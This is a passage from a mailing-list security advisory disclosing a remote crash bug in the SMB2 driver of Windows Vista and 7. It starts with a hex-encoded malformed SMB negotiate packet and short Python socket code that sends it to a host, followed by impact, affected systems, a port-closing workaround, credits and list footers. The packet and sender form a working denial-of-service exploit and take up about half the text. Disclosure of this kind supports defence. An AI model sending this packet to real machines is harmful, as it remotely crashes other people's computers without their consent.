Negociate Protocol \x00\x18\x53\xc8 # Operation 0x18 sub 0xc853 \x00\x26# Process ID High: -- :) normal value should be \x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe \x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54 \x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31 \x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00 \x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57 \x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61 \x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c \x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c \x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e \x30\x30\x32\x00 ) s = socket() s.connect(host) s.send(buff) s.close() V. BUSINESS IMPACT - - An attacker can remotly crash without no user interaction, any Vista/Windows 7 machine with SMB enable. Windows Xp, 2k, are NOT affected as they dont have this driver. VI. SYSTEMS AFFECTED - - Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server 2008 as it use the same SMB2.0 driver (not tested). VII. SOLUTION - - Vendor contacted, but no patch available for the moment. Close SMB feature and ports, until a patch is provided. VIII. REFERENCES - - http://microsoft.com IX. CREDITS - - This vulnerability has been discovered by Laurent Gaffié Laurent.gaffie{remove-this}(at)gmail.com http://g-laurent.blogspot.com/ X. LEGAL NOTICES - - The information contained within this advisory is supplied as-is with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Note: This signature can be verified at https://www.hushtools.com/verify Version: Hush 3.0 wpwEAQMCAAYFAkqnw/YACgkQRVBSp0SbIgeyMQQAoyMwFvi4CWq+2XUcoyIQUp/MxwBr mUbXX+BJYl6K9ydQqZDxnAwOi24VIBE/xRQcUFMhVH/Uk4zH9KAGzW7/gu3V8Yq0mHPL pCZ9+Lwml3mNeJOg6oZEyJUhmJTF2WcfXLnmjHbys0oShACWCXBAyqyMVQFdNSja9aeC 6kWcu5Q= =MjSD -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- http://www.jewelerslounge.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/